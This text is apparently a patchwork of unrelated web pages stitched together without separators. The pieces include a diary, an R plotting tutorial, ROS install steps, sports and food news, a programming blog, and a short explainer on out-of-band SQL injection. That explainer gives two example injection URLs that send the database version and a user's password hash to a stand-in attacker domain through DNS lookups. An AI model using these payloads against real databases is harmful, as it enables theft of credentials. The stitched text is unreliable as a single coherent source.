Took Brutus out on the town last night. We went through narrow streets, across narrower bridges with no divider between oncoming traffic and a 1.5 ft curb at night in the rain. I did 7 point turns, parallel parked twice, and crossed the city of Portland to get to St. Johns from Oregon City. Whadda trip!
This took hours. And a whole lot of my verve. I ended up at Lloyd Center Ice Rink whirling around the ice and trying to take slo-motion video and time-lapse with my phone. I listened to my headphones and tried to ignore the forming blisters and muscles still tired from rollerskating a few days before. Every swing around brings in all of the scents of a mall. Fresh plastics, Victoria Secret's perfume, caramel popcorn, and all manner of newly manufactured goods.
Today was a plumbing problem that was fixed with a shark bite. It's clean up time and there might be 5 gallons of water in the carpet and wall. The glaring truth of this situation is that I am not restoring a vintage trailer to later sell for a profit.  For now. I'm banking on a coat of primer to make me feel like a lot is happening and to distract me from the rotted out wood panels that should probably be replaced. I could always go more rustic with the decor...
Got a strange bursts of blasts from the past lately. Like 24 hours lately. The two people I went to the other side of the planet to forget about. Good conversation. Growth has happened on all our parts and so has a lot of time. It's still tricky at times when the emotions and thoughts slip into storylines about the other. A past that only happened that special way to you, a future vision that is distorted and dramatic. But that's all just me anyway. The other person could be flossing and I'm so distracted by my story I don't notice that at all.


My name is Isaac, I enroll at Northern Kentucky University. I am a Media Informatics major. I am a Christian, I love music - I play piano, guitar, and I sing, I love video games - especially shooters like Battlefield or RPGs like The Elder Scrolls, I really enjoy fantacy movies like the Lord of the Rings.

The Bio-Bridge Initiative was established by the Government of the Republic of Korea at the twelfth meeting of the Conference of the Parties in 2014 to enhance technical and scientific cooperation and technology transfer under the Convention, with a view to supporting the effective implementation of the Strategic Plan for Biodiversity 2011-2020 and its Aichi Biodiversity Targets, as well as the updated national biodiversity strategies and action plans (decision XII/2/B2). The Initiative is designed to complement existing programmes and mechanisms under the Convention and its Protocols.
In their Gangwon Declaration on Biodiversity for Sustainable Development, the Ministers of Environment and other heads of delegation who met on 15 to 16 October 2014 in Pyeongchang, Republic of Korea, recognized the need for enhanced technical and scientific cooperation among countries to implement the objectives of the Convention and welcomed, among other initiatives, the Bio-Bridge Initiative on technical and scientific cooperation for the accelerated implementation of the Pyeongchang Roadmap 2020. The initial phase of the Initiative focused on establishing institutional structures, developing tools and mechanisms to support technical and scientific cooperation, developing a the Bio-Bridge Action Plan 2017-2020, and supporting a few pilot technical and scientific cooperation projects.
The core goal of the Bio-Bridge Initiative is the promotion and facilitation of technical and scientific cooperation. This will be achieved through various tools and mechanisms including helpdesk services, an interactive web platform, meetings and roundtables and a small seed funding facility.
In the context of the Convention and its Protocols, technical and scientific cooperation is defined as a process whereby two or more countries or institutions pursue their individual or collective biodiversity-related goals through cooperative actions and/or exchange of scientific knowledge, expertise, data, resources, technologies and technical know-how.
As envisaged in Article 18 of the Convention, technical and scientific cooperation encompasses human resources development, institutional building, joint research programmes, joint ventures for development of technologies, technology transfer, and other elements.
Technical and scientific cooperation is one of the various means of enabling Parties to implement the Convention and its Protocols in addition to capacity-building, information sharing, training and other means.
Technical and scientific cooperation helps foster synergies, maximizes the utilization of existing resources, facilitates access to a wide range of knowledge, experiences and lessons learned, and often results in greater impact of the implementation efforts.
Other benefits include:

A lollipop plot
is basically a barplot, where the bar is transformed in a line
and a dot
. It shows the relationship between a numeric and a categoric variable.
Here is an example showing the quantity of weapons exported by the top 20 largest exporters in 2017 (more info here):
# Libraries
library(tidyverse)
library(hrbrthemes)
library(kableExtra)
options(knitr.table.format = "html")
library(patchwork)
# Load dataset from github
data <- read.table("https://raw.githubusercontent.com/holtzy/data_to_viz/master/Example_dataset/7_OneCatOneNum.csv", header=TRUE, sep=",")
# Plot
data %>%
filter(!is.na(Value)) %>%
arrange(Value) %>%
tail(20) %>%
mutate(Country=factor(Country, Country)) %>%
ggplot( aes(x=Country, y=Value) ) +
geom_segment( aes(x=Country ,xend=Country, y=0, yend=Value), color="grey") +
geom_point(size=3, color="#69b3a2") +
coord_flip() +
theme_ipsum() +
theme(
panel.grid.minor.y = element_blank(),
panel.grid.major.y = element_blank(),
legend.position="none"
) +
xlab("") +
ylab("Weapon quantity (SIPRI trend-indicator value)")
The lollipop plot is used exactly in the same situation than a barplot. However it is somewhat more appealing and convey as well the information. It is especially useful when you have several bars of the same height: it avoids to have a cluttered
figure and a Moiré effect.
don <- data.frame(
group = LETTERS[1:20],
val = 20 + rnorm(20)
)
p1 <- don %>%
arrange(val) %>%
mutate(group=factor(group, group)) %>%
ggplot( aes(x=group, y=val) ) +
geom_bar(stat="identity", fill="#69b3a2") +
coord_flip() +
theme_ipsum() +
theme(
panel.grid.minor.y = element_blank(),
panel.grid.major.y = element_blank(),
legend.position="none"
) +
xlab("") +
ylab("Weapon quantity (SIPRI trend-indicator value)")
p2 <- don %>%
arrange(val) %>%
mutate(group=factor(group, group)) %>%
ggplot( aes(x=group, y=val) ) +
geom_segment( aes(x=group ,xend=group, y=0, yend=val), color="grey") +
geom_point(size=3, color="#69b3a2") +
coord_flip() +
theme_ipsum() +
theme(
panel.grid.minor.y = element_blank(),
panel.grid.major.y = element_blank(),
legend.position="none"
) +
xlab("") +
ylab("Weapon quantity (SIPRI trend-indicator value)")
p1 + p2
The Cleveland dotplot
is a handy variation, allowing to compare the value of 2 numeric values for each group. This kind of data could also be visualized using a grouped or stack barplot. However, this representation is less cluttered and way easier to read. Use it if you have 2 subgroups per group.
# Create data (could be way easier but it's late)
value1 <- abs(rnorm(26))*2
don <- data.frame(
x=LETTERS[1:26],
value1=value1,
value2=value1+1+rnorm(26, sd=1)
) %>%
rowwise() %>%
mutate( mymean = mean(c(value1,value2) )) %>%
arrange(mymean) %>%
mutate(x=factor(x, x))
# With a bit more style
ggplot(don) +
geom_segment( aes(x=x, xend=x, y=value1, yend=value2), color="grey") +
geom_point( aes(x=x, y=value1), color=rgb(0.2,0.7,0.1,0.8), size=3 ) +
geom_point( aes(x=x, y=value2), color=rgb(0.7,0.2,0.1,0.8), size=3 ) +
coord_flip()+
theme_ipsum() +
theme(
legend.position = "none",
panel.border = element_blank(),
) +
xlab("") +
ylab("Value of Y")
Note: The term cleveland dotplot
does not look to be very well defined as far as I know, and looks to be sometimes used for dotplots or classic lollipop plots as well. The previous chart is also called Dumbbell dot plots. Further investigation is needed on this matter and any feedback is more than welcome.
Note that with a number of subgroups between 3 and ~7 this type of lollipop plot is nice as well:
# Create data (could be way easier but it's late)
value1 <- abs(rnorm(6))*2
don <- data.frame(
x=LETTERS[1:24],
val=c( value1, value1+1+rnorm(6, 14,1) ,value1+1+rnorm(6, sd=1) ,value1+1+rnorm(6, 12, 1) ),
grp=rep(c("grp1", "grp2", "grp3", "grp4"), each=6)
) %>%
arrange(val) %>%
mutate(x=factor(x, x))
# With a bit more style
ggplot(don) +
geom_segment( aes(x=x, xend=x, y=0, yend=val), color="grey") +
geom_point( aes(x=x, y=val, color=grp), size=3 ) +
coord_flip()+
theme_ipsum() +
theme(
legend.position = "none",
panel.border = element_blank(),
panel.spacing = unit(0.1, "lines"),
strip.text.x = element_text(size = 8)
) +
xlab("") +
ylab("Value of Y") +
facet_wrap(~grp, ncol=1, scale="free_y")
Order your groups. If the levels of your categoric variable have no obvious order, order the bars following their values.
If for whatever reason your bars must remain unsorted, it is probably better to use a barplot instead. Lollipop would be harder to read.
Several values per group? Don’t use a lollipop. Even with error bars, it hides information and other type of graphic like boxplot or violin are much more appropriate.
Think about the horizontal verison, it makes the labels easier to read.

ROStafarian nation
Table of Contents
1 Installation
Installing ros is a "relatively" painless process, the ros website has instructions, but we'll go through the process here.
1.1 Preliminary considerations
- you can chose a number of different operating systems, but ubuntu and debian have the best support by far
- you need to MAKE SURE your SUBVERSION of ubuntu matches with the version of ROS that you're installing. otherwise you'll have big issues installing things. As of this documents writing, you can't do ROS melodic on ubuntu 18.10 for exampe
1.2 The Process (Melodic Morenia on ubuntu 18.04LTS)
1.2.1 set up the software sources for apt
sudo sh -c 'echo "deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main" > /etc/apt/sources.list.d/ros-latest.list'; sudo apt-key adv --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-key 421C365BD9FF1F717815A3895523BAEEB01FA116; sudo apt update
1.2.2 install basic packages
- if you want gazebo install ros-<dist>-desktop-full
- if you don't want gazebo bloat, ros-<dist>-desktop
- if you're just using the packages from the software repo do ros-<dist>-ros-base
sudo apt-get install ros-melodic-desktop
1.2.3 initialize ros environment
ros packages rely on lots of symlinking – =-( – to work, so you need to do some setup work.
sudo rosdep init; rosdep update; # it is important that you don't use sudo for the update echo "source /opt/ros/melodic/setup.bash" >> ~/.bashrc; # depends on what your shell is, ros supports sh bash and zsh source ~/.bashrc sudo apt install python-rosinstall python-rosinstall-generator python-wstool build-essential # additional dependancies for building packages
2 Workspaces
2.0.1 Initialization
All of our ros code is organized functionally as a project within catkin workspaces. Basically we need to organize our code this way so that ros can properly link all of the generated code it produces, and know where all the executables / launch files are
to make the workspace invoke
cd; mkdir -p catkin_ws/src catkin_make ## this is ROSs ugly mutant version of cmake
<IP_ADDRESS> workspace structure
you'll notice that now we have two additional directories: devel and build.
- build
build is our cmake build directory so it doesn't really have anything interesting (that is unless you modify the cmake file to give you autocompletion).
- devel
on the other hand, devel contains all the code that ros generates from your packages one of the features of ros is that you can communicate seamlessly between the nodes using a standard interface, that is why when you define your own "messages" and "services" ros generates code for them).
- If you want to see ros' prepackaged message and service defintions go to:
- /opt/ros/melodic/include for c++
- and opt/ros/melodic/lib/python2.7/dist-packages for python.
- If you want to see ros' prepackaged message and service defintions go to:
- src
contains all your user defined packages
2.0.2 Adding packages
Lets make our first catkin package =)
first enter the src directory
cd ~/catkin_ws/src
to create a project from a template invoke \(\ldots\)
catkin_create_pkg first_package rospy std_msgs # name of pkg lang lib additional packages
the most common language api's for ros are rospy and roscpp, albeit many others exist (matlab, java, lua , etc.) most of the other packages give you message types : std\msgs , geometry\msgs, tf2 , etc.
2.0.3
catkin_make
if you're compiling on a resource limited platform like a raspberry pi, it might be usefull to use -j <number of cores> -l <number of processes> to prevent it from freezing up

A New Dedicated Food Precinct Is Coming to the West
Grazeland will be home to 50 food vendors, three bars and a space for local designers.
by Nick BuckleySpotswood will get a dedicated food precinct early next year, when Grazeland opens next to Scienceworks.
The 10,000-square-metre space will house 50 food vendors, three licensed bars, two stages and a large screen, with room for local designers and craftspeople to show off their wares. All consumables at Grazeland will be compostable or recyclable, so nothing goes to landfill.
“It used to be the old OCI bottling plant, which was knocked down and decommissioned over the last 10 years. It’s just been a cement shell sitting there,” says Grazeland managing director John Forman of the site, which was originally set aside by the state government for an expansion of Scienceworks.
“Effectively it’s a big cement lump in an old industrial site, with a spectacular view of the city.”
Grazeland will open every weekend of the year, hosting live shows and roving performers. The space, which is being designed by Push Projects and Phil Bucknell of Milieu Projects, will have both outdoor seating and covered areas, plus several themed zones. The themes are yet to be decided, but first plans are being discussed.
“There’ll be a sweet zone, a savoury zone and a very large deck overlooking the city,” says Forman. Each of the businesses will have license to fit out the repurposed shipping containers they’re housed in. Tenants confirmed so far include 8bit burgers, 48h Pizza e Gnocchi Bar, Cripps Family Fish Farm and cannoli from That’s Amore.
“You can jump on a boat from Federation Square, and it takes 38 minutes to get to a public pontoon out the front of Grazeland . . . It’s a great way to see the city through to Spotswood, and then you can come right back again,” says Forman. “Our waterways are one of the [most] under-utilised tourist assets in Melbourne.”
Grazeland will open in March at 20 Booker Street, Spotswood.

With Functional Programming, we write functions which take arguments and do something with or based on those arguments. You might not think there’s much to learn about given that tiny description of “an argument to a function” but the syntax and mechanics of different languages is actually widely variable and intricate.
With Functional Programming, we write functions which take arguments and do something with or based on those arguments. You might not think there’s much to learn about given that tiny description of “an argument to a function” but the syntax and mechanics of different languages is actually widely variable and intricate.
Let’s say I have some function in R that takes three arguments, x
, y
, and z
,
and just prints them out in a string in that order.
r_fun <- function(x, y, z) {
sprintf("arguments are: %s, %s, %s", x, y, z)
}
Calling this function with good practices (specifying all the argument names in full) would look like this
r_fun(x = "a", y = "b", z = "c")
## [1] "arguments are: a, b, c"
I said “in full” because by default, R will happily do partial matching, so long as it can uniquely figure out which argument you mean
long_args <- function(alphabet = "a to z", altitude = 100) {
print(sprintf("alphabet: %s", alphabet))
print(sprintf("altitude: %d", altitude))
}
long_args(alphabet = "[A-Z]", altitude = 50)
## [1] "alphabet: [A-Z]"
## [1] "altitude: 50"
In this case, both arguments start with "al"
so it’s ambiguous up to there
long_args(al = "letters")
## Error in long_args(al = "letters"): argument 1 matches multiple formal arguments
but we only need to specify enough letters to disambiguate
long_args(alpha = "LETTERS", alt = 200)
## [1] "alphabet: LETTERS"
## [1] "altitude: 200"
Relying on this behaviour is dangerous, and it’s recommended to turn on warnings when this happens with
options(warnPartialMatchArgs = TRUE)
long_args(alpha = "LETTERS", alt = 200)
## Warning in long_args(alpha = "LETTERS", alt = 200): partial argument match of
## 'alpha' to 'alphabet'
## Warning in long_args(alpha = "LETTERS", alt = 200): partial argument match of
## 'alt' to 'altitude'
## [1] "alphabet: LETTERS"
## [1] "altitude: 200"
You don’t have to use argument names when calling the function, though - you can just rely on positional arguments
r_fun("a", "b", "c")
## [1] "arguments are: a, b, c"
and this is very commonly done, despite it being less clear to what any of those refer, and runs the risk that the function changes argument ordering in an updated version. It works, though.
Extensive sidenote: square-bracket matrix subsetting officially uses the (poorly? traditionally?)
named arguments i
and j
as [i, j]
but it actually entirely ignores them and uses
positional arguments. The documentation (?`[`
) does warn about this
“Note that these operations do not match their index arguments in the standard way: argument names are ignored and positional matching only is used. So m[j = 2, i = 1] is equivalent to m[2, 1] and not to m[1, 2].”
but it would be very easy to get bitten by it if one tried to use the names directly
m <- matrix(1:9, 3, 3, byrow = TRUE)
m
## [,1] [,2] [,3]
## [1,] 1 2 3
## [2,] 4 5 6
## [3,] 7 8 9
m[i = 1, j = 2]
## [1] 2
m[j = 2, i = 1]
## [1] 4
Thomas Lumley notes that
“it used to be that no primitive functions did argument matching by name.”/” and “-’ and switch() and some others still don’t. I’m not sure why”[” wasn’t changed in 2.11 when a bunch of primitives got normal argument matching.”
Worse still, perhaps - the seq()
function creates a sequence of values. It has the
formal arguments with defaults from = 1
and to = 1
so you can calculate
seq(from = 2, to = 5)
## [1] 2 3 4 5
or you can leverage the default of from = 1
seq(to = 5)
## [1] 1 2 3 4 5
However, there are five “forms” in which
you can provide arguments to this function and they behave differently. If you only
specify the first argument unnamed, it treats this as to
despite the first argument being from
seq(5)
## [1] 1 2 3 4 5
which is extra strange, because if you do specify to
with its ostensibly default value 1
, the sequence is backwards
seq(5, to = 1)
## [1] 5 4 3 2 1
Back to our function - a feature that makes R really neat is that you can specify the named arguments in any order
r_fun(z = "c", x = "a", y = "b")
## [1] "arguments are: a, b, c"
If you don’t specify them by name, R will default to positions, so specifying just
one (e.g. z
) but leaving the rest unspecified, R will presume you want the others
in positional order
r_fun(z = "c", "a", "b")
## [1] "arguments are: a, b, c"
Where it gets really interesting is you can go back to named arguments further along and again, R will figure out that you mean the remaining unnamed argument
r_fun(z = "c", "b", x = "a")
## [1] "arguments are: a, b, c"
This only holds if the function doesn’t use the ellipses ...
which
captures “any other arguments” when calling the function, often to be passed
on to another function. If the function signature has ...
then all the
unnamed arguments are captured. This example function just
combines any other arguments into a comma-separated string, if there
are any (tested with the under-documented ...length()
which returns the number
of arguments captured via ...
)
dot_f <- function(a = 1, b = 2, ...) {
print(sprintf("named arguments: %s, %s", a, b))
if (...length()) {
print(sprintf("additional arguments: %s", toString(list(...))))
}
}
You can call this with just the named arguments
dot_f(a = 3, b = 4)
## [1] "named arguments: 3, 4"
or you can add more argument (no name required)
dot_f(a = 3, b = 4, 5)
## [1] "named arguments: 3, 4"
## [1] "additional arguments: 5"
As before, none of the names are really required, and we can add as many as we want
dot_f(3, 4, 5, 6, 7)
## [1] "named arguments: 3, 4"
## [1] "additional arguments: 5, 6, 7"
We can name them if we want
dot_f(a = 3, b = 4, blah = 5)
## [1] "named arguments: 3, 4"
## [1] "additional arguments: 5"
but here be danger, because those names can be anything and aren’t matched
to the actual function, so this works (say, I misspelled an argument name a
as A
)
dot_f(A = 3, B = 4, 5)
## [1] "named arguments: 5, 2"
## [1] "additional arguments: 3, 4"
Notice that the additional arguments are the ones I named (not those in
the function definition); the 5
has been positionally matched to a
; and b
has taken its default value of 2
because no other arguments were provided.
We can still mix up the ordering of positions, provided everything else matches up
dot_f(3, b = 4, 5)
## [1] "named arguments: 3, 4"
## [1] "additional arguments: 5"
dot_f(3, b = 4, 5, a = 2)
## [1] "named arguments: 2, 4"
## [1] "additional arguments: 3, 5"
The flexibility in all of this is what encouraged Joe Cheng to use R as an interface to HTML in the form of shiny, what he calls “a bizzarely good host language” (should link to the right timestamp) and he notes that other languages don’t let you do this sort of mixing up of named and positional arguments.
Okay, that’s R - weird and fun, but a lot of flexibility.
I saw this post mentioned in the #rust
hashtag on Mastodon and had a look - it surprised me
at first because I thought “what do you mean Rust doesn’t have named arguments?”…
I’ve become so used to the inline help from VSCode when I’m writing Rust that I didn’t realise I wasn’t using named arguments.
Here’s a function I wrote for my toy rock-paper-scissors game in Rust
fn play(a: Throw, b: Throw) -> GameResult {
let result = match a.cmp(&b) {
Ordering::Equal => GameResult::Tie,
Ordering::Greater => GameResult::YouWin,
Ordering::Less => GameResult::YouLose,
};
println!("{} {}", "Result:".purple().bold(), result);
result
}
It has arguments a
and b
because I did a terrible job naming them - I knew
exactly how I planned to use them, so bad luck to anyone else.
Calling that function further down in the code I have
let user = val.user();
let computer = Throw::computer();
play(user, computer);
BUT what I see in the editor has the argument names, unless I switch off hints (which I have bound to holding Ctrl+Alt at the moment)
So, I can’t just rearrange arguments in Rust?
If I define a function with two arguments
>> fn two_args(a: f64, b: &str) -> String {
let res = format!("all arguments: {a}, {b}");
res
}
then I can call it
>> two_args(42.0, "forty-two")
"all arguments: 42, forty-two"
Just swapping the arguments obviously fails because 42.0
isn’t a &str
and
"forty-two"
isn’t a f64
. But there isn’t a way to say “the value for that
argument is this”; I can’t use any of these
two_args(a = 42.0, b = "forty-two")
two_args(a: 42.0, b: "forty-two")
two_args(b = "forty-two", a = 42.0)
two_args(b: "forty-two", a: 42.0)
I suspect the fact that this was a surprise to me means I’m earlier in my Rust learning than I had thought - I clearly haven’t built anything that has functionality I didn’t directly need, because I haven’t had to worry about calling functions in strange ways yet.
There is one loophole… time to break out another cool toy: {rextendr}
library(rextendr)
rust_function(
'fn two_args(a: f64, b: &str) -> String {
let res = format!("all arguments: {a}, {b}");
res
}'
)
This produces an R function that takes two arguments, a
and b
which I can call
as if it was an R function
two_args(a = 42, b = "forty-two")
## [1] "all arguments: 42, forty-two"
I can call it without argument names
two_args(42, "forty-two")
## [1] "all arguments: 42, forty-two"
and I can swap them
two_args(b = "forty-two", a = 42)
## [1] "all arguments: 42, forty-two"
This is just because the argument matching happens before the values get sent down to the Rust code - the function here is an R function that calls other code internally
two_args
## function (a, b)
## .Call("wrap__two_args", a, b, PACKAGE = "librextendr1")
## <bytecode: 0x55d873cff7b8>
I somewhat started out the idea for this blogpost as I was learning some Typescript and came across this https://github.com/gibbok/typescript-book#typescript-fundamental-comparison-rules
“Function parameters are compared by types, not by their names:”
type X = (a: number) => void;
type Y = (a: number) => void;
let x: X = (j: number) => undefined;
let y: Y = (k: number) => undefined;
y = x; // Valid
x = y; // Valid
which initially struck me as strange, and I needed to work through some examples in a live
setting. On reflection, I think I see that this is exactly what I would specify in
e.g. Haskell - “a function that takes a number”, not “a function with an argument named a
which
is a number”
x :: Float -> Nothing
Because technically all functions in Haskell actually only take a single argument (the notation Int -> Int -> Int
reveals this
fact nicely, but in practice the notation makes it feel like multiple arguments can be used)
there is no way to “pass arguments by name” but there is a neat way to swap the order
of arguments that a function expects to receive; flip
flip :: (a -> b -> c) -> b -> a -> c
>>> flip (++) "hello" "world"
"worldhello"
-- or
>>> "hello" ++ "world"
"helloworld
Those of you familiar with R’s S3 dispatch functionality will perhaps note that the ‘first’ argument has a special role; it controls exactly which method will be called. If we had some function which was flexible in the sense that it could take several different ‘classes’ and do something different with them, we would write that as
flexi <- function(a, b) {
UseMethod("flexi")
}
flexi.matrix <- function(a, b) {
paste0("a is a matrix, b = ", b)
}
flexi.data.frame <- function(a, b) {
paste0("a is a data.frame, b = ", b)
}
flexi.default <- function(a, b) {
paste0("a is something else, b = ", b)
}
Now, depending on whether a
is a matrix
, a data.frame
, or something else, one
of the ‘methods’ will be called
flexi(a = matrix(), b = 7)
## [1] "a is a matrix, b = 7"
flexi(a = data.frame(), b = 8)
## [1] "a is a data.frame, b = 8"
flexi(a = 1, b = 9)
## [1] "a is something else, b = 9"
even if we swap the order of the arguments in the call
flexi(b = 3, a = matrix())
## [1] "a is a matrix, b = 3"
S4 dispatch goes even further and dispatches based on more than just the class of the first argument. Stuart Lee has a great guide on S4. The point is, you can do something different depending on what you pass to multiple arguments
s4flexi(matrix(), data.frame(), 7)
s4flexi(matrix(), data.frame(), list())
s4flexi(matrix(), data.frame(), NULL)
Julia has some of the most interesting argument parsing. I love the Haskell-like
function declarations - so little boilerplate! We define some function f
that
takes two arguments
f(a, b) = a + b
## f (generic function with 1 method)
f(4, 5)
## 9
Similar to the Rust situation, though - these aren’t named outside of the function body, so we can’t refer to them either in that order or reversed
f(a = 4, b = 5)
MethodError: no method matching f(; a=4, b=5)
Closest candidates are:
f(!Matched::Any, !Matched::Any) at none:3 got unsupported keyword arguments "a", "b"
The reason is that Julia uses the python-esque keyword argument syntax, where unnamed
arguments appear first, followed by any keyword arguments following a ;
, so we can specify
these correctly as
f(; a, b) = a + b
## f (generic function with 2 methods)
f(a = 4, b = 6)
## 10
Julia is optionally typed, which means we can be flippant with the types here, or we
can be very specific - we can specify that a
should be an integer and b
should be
a string, and that produces a different method compared to what we already defined. In
this case, I want to return a string with the two values
f(; a::Int, b::String) = "$a; $b"
## f (generic function with 2 methods)
f(a = 42, b = "life, universe, everything")
## "42; life, universe, everything"
Since these are now named, we can swap them
f(b = "L, U, E", a = 42)
## "42; L, U, E"
but what’s even more powerful is we can define a general method, and add type-specific methods for whatever combination of argument types we want; the first of these returns an integer, while the other two return strings
g(a, b) = a + b
## g (generic function with 1 method)
g(a::Int, b::String) = "unnamed int, string: $a; $b"
## g (generic function with 2 methods)
g(a::String, b::Int) = "unnamed string, int: $a; $b"
## g (generic function with 3 methods)
Then, depending on what types we provide in each argument, a different method is called
g(3, 2)
## 5
g("abc", 123)
## "unnamed string, int: abc; 123"
g(123, "abc")
## "unnamed int, string: 123; abc"
Similar to S4, but so easy to declare and use! Of course, this doesn’t work if we want these to be named since that would be ambiguous.
As I’m slowly learning APL, I’ve found it interesting that there’s a well-known approach of writing “point-free” (“tacit”) functions which don’t specify arguments at all.
Last of all, I’ve had the pleasure of dealing with C this week including passing a pointer to some object into a function, in which case the value outside of the function is updated. That’s a whole other post I’m working on.

Hot shot striker Loader has turned heads with his performances for Reading in the Championship since making his debut in the Carabao Cup in 2017.
The 19-year-old has netted once in 29 first team appearances for the Royals having progressed through their Berkshire academy.
United have proved in recent times they aren't afraid to dip into the lower leagues for talent - having picked up Dan James from Swansea this summer.
Loader is out of contract at the end of the season, with plenty of Premier League interest in him, along with rumours Juventus are keen.
"There are ongoing discussions between the club, him, his agent and his family," said Reading boss Mark Bowen.
"He is very happy with his football and yes he wants more game time but he is a great professional, has a smile on his face and works hard. That’s all I can ask for.
"He is a confident lad and has got a talent. At times he will be down but he has to be patient and he will get his chance."
Loader almost moved to Wolves in the summer but the transfer fell through on deadline day.
“Everyone knows a Premier League club tried to sign me in the transfer window, but it wasn’t to be," Loader said.
"I’m very ambitious, my dream is to play on the biggest stage and you never know when these opportunities will come around again.”
Loader comes with high praise from Red Devils legend Jaap Stam - who handed him his professional debut.
“He’s a very, very promising player, everybody knows that,” said Stam.
“When the opportunity is there he trains with us (first team). You can see he’s a killer around the box and his finishing is very clinical.
“It’s very tempting to take him into the first team but we need to be very careful how he feels.
“We need to take care of these youngsters but if he keeps on playing how he is then he’s going to be very close to the first-team squad and maybe onto the pitch.”

And the only thing he loves more than the Death Star is eating green lettuce leaves. So we need your help to give him what he wants and make him happy that's why we've created this project.
We've created a grow box for growing lettuce with a bunch of sensors and switches, and a camera, of course, because everything becomes better if you can livestreaming it. That's what we got on our side and you've got the Messenger Bot to share your thoughts about the better way to grow the most delicious lettuce in the world to pamper the Vader.
The grow box is fully automated and isolated from the world and the only way to change something inside it is to make your vote through the Messenger Bot. To make a more informed decision you need to check the current state inside and to do it you can ask the bot to show you the latest sensor data from the grow box, it shows you the current temp, humidity, light etc. (we are still developing and connecting more and more sensors).
After that, you can choose one of the predefined actions, for example, give more light or less light, or maybe more water and so on. Also, you can check the process of the voting, get the live polls and revote if you want to.
Every hour the voting finished and the action that has the largest amount of votes performed and you can see the live stream of the action on the Facebook page of our project. After that process starts over and you can check the data and vote again.
When the lettuce ripes all of it goes to the Vader, we don't take a leaf for ourselves.
The brain of our hardware part is Raspberry Pi, all the sensors are connected to it and script gets data from the sensors and send it to the Azure IoT Hub, where Azure Function invokes on ever new data, parse it and store to the CosmosDB collection.
All the backend part is hosted in the Microsoft Azure.  Every hour scheduled function get all the votes from the collection, find the winner and send an RPC call through the Azure IoT Hub to the Raspberry.
Diagram of Microsoft Azure FunctionsIn addition to sensors inside, there are several switches on the grow box each of them can turn on/off different actions, for example, light, cooler or watering. We have an old-school lego construction where servos connected to the to the switches with some kind of "robo-arms" and we can rotate servos to control the switches and perform actions. So when Raspberry receives the call to action from the cloud it rotates the appropriate servo to perform the action.
And as a proof of work every time some action on grow box performed we turn the live streaming on our Facebook page to give people the opportunity to see how their decision is implementing.
Let's grow the lettuce for the Vader!


--- layout: post title: "How to automatically populate properties with AutoMoq" description: "This post explains how to automatically populate properties when using AutoFixture.AutoMoq." date: 2013-04-08 05:55 UTC tags: [AutoFixture] --- {% include JB/setup %}
{{ page.description }}
In a previous blog post I described how to configure AutoFixture.AutoMoq to set up all mock instances to have 'normal' property behavior. This enables you to assign and retrieve values from properties defined by interfaces, but still doesn't fill those properties with values.
Apparently, people want to do that, so here's how to do it with the AutoMoq glue library.
This solution builds upon the PropertiesPostprocessor described in my previous blog post. All you have to do is define a different Customization for AutoFixture so that, instead of using the AutoMoqPropertiesCustomization described in the previous post, you'll need a variation:
public class AutoPopulatedMoqPropertiesCustomization : ICustomization { public void Customize(IFixture fixture) { fixture.Customizations.Add( new PropertiesPostprocessor( new MockPostprocessor( new MethodInvoker( new MockConstructorQuery())))); fixture.ResidueCollectors.Add( new Postprocessor( new MockRelay(), new AutoPropertiesCommand( new PropertiesOnlySpecification()))); } private class PropertiesOnlySpecification : IRequestSpecification { public bool IsSatisfiedBy(object request) { return request is PropertyInfo; } } }
The PropertiesPostprocessor assigned to the Fixture's Customizations has the same configuration as shown in AutoMoqPropertiesCustomization, but the object graph passed to the Fixture's ResidueCollectors is different. It's still a MockRelay, but now decorated with a Postprocessor instance, configured with an AutoPropertiesCommand instance, which is the class in AutoFixture responsible for implementing the AutoProperties feature.
The only thing special about this configuration is that you need to pass a PropertiesOnlySpecification to the AutoPropertiesCommand instance. This is because, by default, AutoPropertiesCommand attempts to fill both properties and fields of a generated instance (we call that a specimen), but it turns out that when you ask Moq to generate an instance of an interface, the generated type has a lot of public fields that you don't want to mess with. The PropertiesOnlySpecification class filters the population algorithm so that it only attempts to populate public properties.
This test passes:
[Fact] public void AutoPopulatedProperties() { var fixture = new Fixture().Customize( new AutoPopulatedMoqPropertiesCustomization()); var h = fixture.Create<IHasProperties>(); Assert.NotEqual(default(string), h.Text); Assert.NotEqual(default(int), h.Number); }
With the described AutoPopulatedMoqPropertiesCustomization, AutoFixture will populate all writable properties on interfaces generated by Moq. I still don't think this is a good idea, which is why it isn't the default behavior for AutoFixture, but as you can tell, it's not too hard to do.

Out of Band
Sometimes the only way an attacker can retrieve information from a database is to use out-of-band techniques. Usually these type of attacks involve sending the data directly from the database server to a machine that is controlled by the attacker. Attackers may use this method if an injection does not occur directly after supplied data is inserted, but at a later point in time.
Out-of-Band Example
https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),'example.com\\')))
https://www.example.com/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\\' + @pass + '.example.com\c$\boot.ini''')
In these requests, the target makes a DNS request to the attacker-owned domain, with the query result inside the sub domain. This means that an attacker does not need to see the result of the injection, but can wait until the database server sends a request instead.

Hi, for the first two js lint issues, try some carriage returns. Line #26 will also be much easier to read, especially if you format it nicely. Each new line after if (mixed_var === ""
could start with a constant number of tabs and then || mixed_var ===
. How 'bout that? Personally, I find code like line #26 to be inexcusable because it's a real pain to read, and very easy to avoid, if using a decent editor.

Hello,
When testing a Date-Object, it always returns true: it's an object but has no keys.
No idea if this is the best solution. It works for me. I check if getMonth is available. Maybe there is a better way?
if (typeof mixed_var == 'object') {
for (key in mixed_var) {
return false;
}
if (mixed_var.getMonth)
{
return false;
}
return true;
}

@max4ever: I don't know if you have any older version of the function or whether you were guessing that an array would not return "object" as a type (as it does in JavaScript even for arrays which are themselves objects), but in your example the empty() call returns true.

on 2011-10-07 12:42:50
I think checks for array should be added, it doesn't work with
var my_ditta = new Array();
my_ditta['tasse'] = 1;
my_ditta['cartonaggio'] = 1;
empty(my_ditta); //=> gives true, but it's obviously false

The JSLint warning about for "for in" is quite correct.
If an array has prototypes it returns false ("not empty").
To fix this, one can simply check the .length to be 0 strictly.
function empty (v) {
var key;
if (v === "" || v === 0 || v === "0" || v === null || v === false || typeof v === 'undefined') {
return true;
}
if (v.length === 0) {
return true;
}
if (typeof v === 'object') {
for (key in v) {
return false;
}
return true;
}
return false;
}

